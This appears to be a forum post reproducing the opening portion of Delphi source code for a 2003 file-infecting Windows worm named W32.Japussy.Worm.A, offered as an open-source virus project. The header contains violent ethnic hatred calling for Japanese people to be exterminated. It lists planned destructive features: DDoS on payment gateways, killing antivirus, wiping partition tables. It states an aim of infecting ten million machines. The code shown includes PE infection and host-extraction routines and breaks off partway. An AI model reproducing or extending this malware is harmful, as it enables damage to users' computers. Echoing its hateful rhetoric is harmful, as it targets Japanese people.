我来发个全的吧,2003的东西了
{**********************************************************************}
{ }
{ Crossbow Virus OpenSource Project }
{ }
{ Copyright (C) 1999-2003 Crossbow [CHiNA] }
{ }
{ Taking our names from the great empire, instinct-driven face of the }
{ human psyche, Chinese are, by general acknowledgement, the smartest }
{ race in the world. Today, the sons of Qin Empire will give the just }
{ punishment to those lousy japs, the mose flagitious race of the }
{ world, the biggest enemy of all Chinese. }
{ }
{ All wrathful brethren, Unite! }
{ }
{ This program is free software; you can redistribute it and/or modify }
{ it under the terms of the GNU General Public License as published by }
{ the Free Software Foundation; either version 2, or (at your option) }
{ any later version. }
{ }
{ Crossbow病毒开放源代码计划 }
{ }
{ 版权所有 (C) 1999-2003 Crossbow [中国] }
{ }
{ 就像我们的名字来自于那个伟大的帝国一样,人类灵魂的本能所能公认的, }
{ 中华民族,是全世界众所周知最聪明的民族。今天,大秦帝国的子孙们将给予 }
{ 中华民族的世代仇敌,那些卑劣猥琐的倭狗,世界上最无耻、最卑鄙、最残忍 }
{ 的民族以正义的惩罚。 }
{ }
{ 愤怒的炎黄子孙们,团结起来! }
{ }
{ 这份程序是自由软件,你可以在基于由自由软件基金会(Free Software }
{ Foundation) 所发布之GNU通用公众协议(GNU General Public License)的原 }
{ 则上再分发和/或修改它,或其后续版本。 }
{ }
{**********************************************************************}
{**********************************************************************}
{ Name: W32.Japussy.Worm.A 0.01 Alpha }
{ Date: 2003/10/21 }
{ Compiler: Delphi 5 or later }
{ Contributors: Sorted by Alphabet }
{ BaiLaoHu [bailaohu@yeah.net] }
{ Crossbow [crossbow@borlandsoft.com] }
{ JunFengRen [junfeng.ren@mail.tinco.com] }
{ ThenLong [thenlong@msn.com] }
{ TieXinLiu [tiexinliu@8860.net] }
{ Total 5 persons }
{ }
{ 名字: W32.Japussy.Worm.A 0.01 Alpha }
{ 日期: 2003/10/21 }
{ 编译器: Delphi 5或更新 }
{ 参与者: 以字母顺序排列 }
{ BaiLaoHu [bailaohu@yeah.net] }
{ Crossbow [crossbow@borlandsoft.com] }
{ JunFengRen [junfeng.ren@mail.tinco.com] }
{ ThenLong [thenlong@msn.com] }
{ TieXinLiu [tiexinliu@8860.net] }
{ 目前总共5人 }
{**********************************************************************}
{**********************************************************************}
{ 待解决的问题: }
{ }
{ 1. WinNT下远程线程映射到Explorer进程 }
{ 1. WinNT下获得管理员权限 }
{ 2. 自己开SMTP服务器发带毒邮件或者用ESMTP发带毒邮件 }
{ 3. Base64编码,在保持不大幅增加病毒体大小的前提下 }
{ 4. 固定日期DDoS(集群式拒绝服务)攻击指定倭狗网站支付网关 }
{ 5. 能杀掉常见防火墙和杀毒软件进程 }
{ 6. 绝对磁盘扇区写操作,摧毁分区表和文件分配表 }
{**********************************************************************}
{**********************************************************************}
{ 这份计划借鉴了SOJ老大的代码,并做了大量的修改和完善。Upx压缩过的病毒 }
{ 体只有38K,和其它Win32ASM写的6K左右的病毒来说可以是庞然大物了。由于 }
{ 没有修改入口点,目前Norton AntiVirus 2001无法查出它。 }
{ }
{ 我认为与其在论坛上对倭狗破口大骂,还不如做点实事。一来可以学习知识, }
{ 提高水平,认识一些可以互相学习的朋友。二来完工后可以让倭狗吃点苦头, }
{ 还是很惬意的。我的目标是感染1000万台以上的机器。 }
{ }
{ 目前这个病毒还远远没有达到预定的设想,所以希望大家一起来完善它。如果 }
{ 可能,以后会用Win32Asm重写它。 }
{ }
{ 这是一个公益计划,本着完全自愿开发的原则。希望大家在不影响工作的情况 }
{ 下利用空余时间加入本计划。加入这个计划的朋友可以获赠我收藏的200余篇 }
{ 病毒的代码和资料,我将不定期在CSDN上公布计划的进度。 }
{ }
{**********************************************************************}
{**********************************************************************}
{ 严重警告: }
{ }
{ !!!请不要在未读懂源代码的情况下编译运行本程序,否则后果自负!!! }
{ }
{ 我们交流的是技术,展示的源代码和相关代码的目的只是为了说明技术的原理 }
{ 和使用。如果任何个人或组织利用本文档发布的技术进行破坏,应由其本人负 }
{ 责,与本计划的参与者无关!!! }
{ }
{**********************************************************************}
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记
//垃圾码,以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明
var
Tmp
File: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;